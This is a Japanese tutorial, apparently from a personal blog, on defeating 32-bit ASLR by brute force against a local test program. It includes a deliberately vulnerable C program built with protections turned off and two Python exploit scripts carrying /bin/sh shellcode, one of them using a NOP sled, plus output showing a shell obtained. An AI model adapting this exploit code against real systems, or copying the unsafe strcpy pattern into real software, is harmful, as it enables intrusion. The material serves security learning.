ブルートフォースによる32bit ASLR回避
「単純なスタックバッファオーバーフロー攻撃をやってみる」では、ASLRとSSP、DEPが無効な状態でのスタックバッファオーバーフロー攻撃を行った。 このうちASLRについては、32bit環境であればブルートフォースで回避できることが知られている。 ここでは、実際にASLRを有効にした状態でシェルの起動を試してみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
以前のエントリと同様、第一引数の入力によりスタックバッファオーバーフローが起こるコードを書く。 ただし、バッファサイズは300とする。
/* bof.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[300] = {}; /* set all bytes to zero */ printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return 0; }
SSPとDEPを無効にしてコンパイルし、ASLRのみを有効にした状態で実行してみる。
$ gcc -fno-stack-protector -z execstack bof.c $ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ ./a.out AAAA buf = 0xbf906c54 AAAA $ ./a.out AAAA buf = 0xbff8a284 AAAA
毎回bufの置かれているアドレスが変わっていることが確認できる。
単純なブルートフォースを試してみる
用意したプログラムを何度も実行すると、bufのアドレスが 0xbfX????4 (Xは8~Fのどれか)の形で変化していることがわかる。 つまり、適当にアドレスを決め打ちして0x80000 (=524288) 回程度実行すれば、アドレスが一致する可能性がある。
そこで、以前のエントリをもとに、ブルートフォースするエクスプロイトコードを作ってみる。
# exploit.py import sys import struct from subprocess import Popen shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = int(sys.argv[1]) addr = 0xbfccccc4 buf = shellcode buf += 'A' * (bufsize - len(shellcode)) buf += 'AAAA' * 3 buf += struct.pack('<I', addr) i = 0 while True: print i p = Popen(['./a.out', buf]) p.wait() i += 1
このコードではアドレスを 0xbfccccc4 に決め打ちし、シェルが起動し入力待ちになるまで無限ループを回す。 実行すると、しばらく待った後にシェルが起動するはずだが、カウンタの値からかなりの時間がかかることがわかる。
$ python exploit.py 300 0 buf = 0xbfa71fd4 (snip) 1 buf = 0xbff19d14 (snip)
NOP sledを使って成功率を上げる
上のコードでは0x80000 (=524288) 回程度の試行が必要であるが、送り込むデータに工夫をすることで試行回数を減らすことができる。 具体的には、シェルコードの前に大量のNOP命令(何もしない命令、0x90)を並べておく。 これはNOP sledと呼ばれる。
たとえば、次のようにシェルコードの前に0x1000 (=4096) 個のNOP命令を置いておくことで、実際にシェルコードが置かれたアドレスが0xbfccccc4-0xbfccdcc4のどれであってもシェルコードが実行されるようになる。 下位4ビットが固定であることを踏まえると、これにより試行回数は0x100分の1、つまり 0x800 (=2048) 回程度に減らせる。
90 90 90 90 90 90 90 90 ... 90 90 90 90 <- 0xbfccccc4 ... 90 90 90 90 [shellcode]
これをコードに反映させると次のようになる。 ここでは、大量のNOP命令を並べるスペースを確保するため、シェルコードをリターンアドレスの後に置いている。
# exploit2.py import sys import struct from subprocess import Popen shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = int(sys.argv[1]) addr = 0xbfccccc4 nopsize = 0x1000 buf = 'A' * bufsize buf += 'AAAA' * 3 buf += struct.pack('<I', addr) buf += '\x90' * nopsize buf += shellcode i = 0 while True: print i p = Popen(['./a.out', buf]) p.wait() i += 1
実際に実行してみる。
$ python exploit2.py 300 0 buf = 0xbfe84c34 (snip) 1 buf = 0xbf85e284 (snip) ... 1003 buf = 0xbfccb244 (snip) $ id uid=1000(user) gid=1000(user) groups=1000(user) $
この場合は、1003回目でシェルの起動に成功した。 NOP sledを長く取れば取るほど、その分成功率を上げることが可能である。